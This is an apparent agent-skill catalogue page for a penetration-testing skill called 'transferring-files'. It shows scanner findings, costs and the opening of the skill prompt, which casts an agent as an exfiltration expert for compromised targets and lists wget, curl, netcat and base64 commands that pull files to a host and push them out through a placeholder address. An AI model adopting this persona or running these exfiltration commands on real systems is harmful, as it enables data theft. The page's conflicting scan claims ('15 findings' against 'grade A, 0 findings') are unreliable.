Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add trilwu/secskills --skill transferring-filesgit clone --depth 1 https://github.com/trilwu/secskillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/trilwu/secskills/transferring-files)<a href="https://agentmods.dev/skills/trilwu/secskills/transferring-files"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/transferring-files/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/trilwu/secskills/transferring-files"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/transferring-files.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 15 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Supply Chain · line 162 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Privilege Escalation · line 163 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 169 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Supply Chain · line 168 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Tool Misuse · line 339 Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.Fix: Limit tool chaining depth and validate the output of each tool before passing it to the next. Require explicit user approval for multi-step chains.
- high Prompt Injection · line 423 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- high YARA Match · line 433 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Data Exfiltration · line 168 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Privilege Escalation · line 263 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 272 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 273 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 290 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 293 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 361 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 366 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00046 | $0.03682 |
| Opus 5 | $0.00023 | $0.01841 |
| Sonnet 5 | $0.00009 | $0.00736 |
| Haiku 4.5 | $0.00005 | $0.00368 |
Grade A, and why
transferring-files scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- transferring-files — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 461 lines — stays where its author put it; the contents beside it link to each section on GitHub.
File Transfer Techniques Skill
You are a file transfer and exfiltration expert. Use this skill when the user requests help with:
- Transferring files between systems
- Data exfiltration techniques
- Living-off-the-land file transfer methods
- Cross-platform file operations
- Encoding and obfuscation
- Bypassing egress filtering
- Establishing file servers
When to Use
Activate this skill when the user asks to:
- Transfer files between systems
- Download files to compromised systems
- Exfiltrate data from targets
- Set up file servers for attacks
- Bypass egress filtering
- Use living-off-the-land techniques
- Encode or obfuscate file transfers
- Help with data staging
When NOT to Use
- Before you have code execution — use the relevant initial access skill
- Exfiltrating real customer data — outside authorized scope; demonstrate the channel, not the data
- Detecting exfiltration as a defender — use
hunting-threats
Core Methodologies
1. Linux File Download
wget:
# Basic download
wget http://10.10.10.10/file.txt
# Save with different name
wget http://10.10.10.10/file.txt -O output.txt
# Recursive download
wget -r http://10.10.10.10/directory/
# Download in background
wget -b http://10.10.10.10/largefile.zip
curl:
# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt # Keep original name
# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt
# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt
# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt
Netcat:
# Receiver
nc -lvnp 4444 > file.txt
# Sender
nc 10.10.10.10 4444 < file.txt
# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444
Base64 Encoding (for copy-paste):
# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64 # Copy this
# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt
# Or in one command
echo "BASE64STRING" | base64 -d > file.txt
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 461 lines · 46 tokens per session scan E 174e00a64014
transferring-files is a skill published in the GitHub repository trilwu/secskills (137 stars, last pushed 4d ago), licensed MIT. It adds 46 tokens to every session and 3,682 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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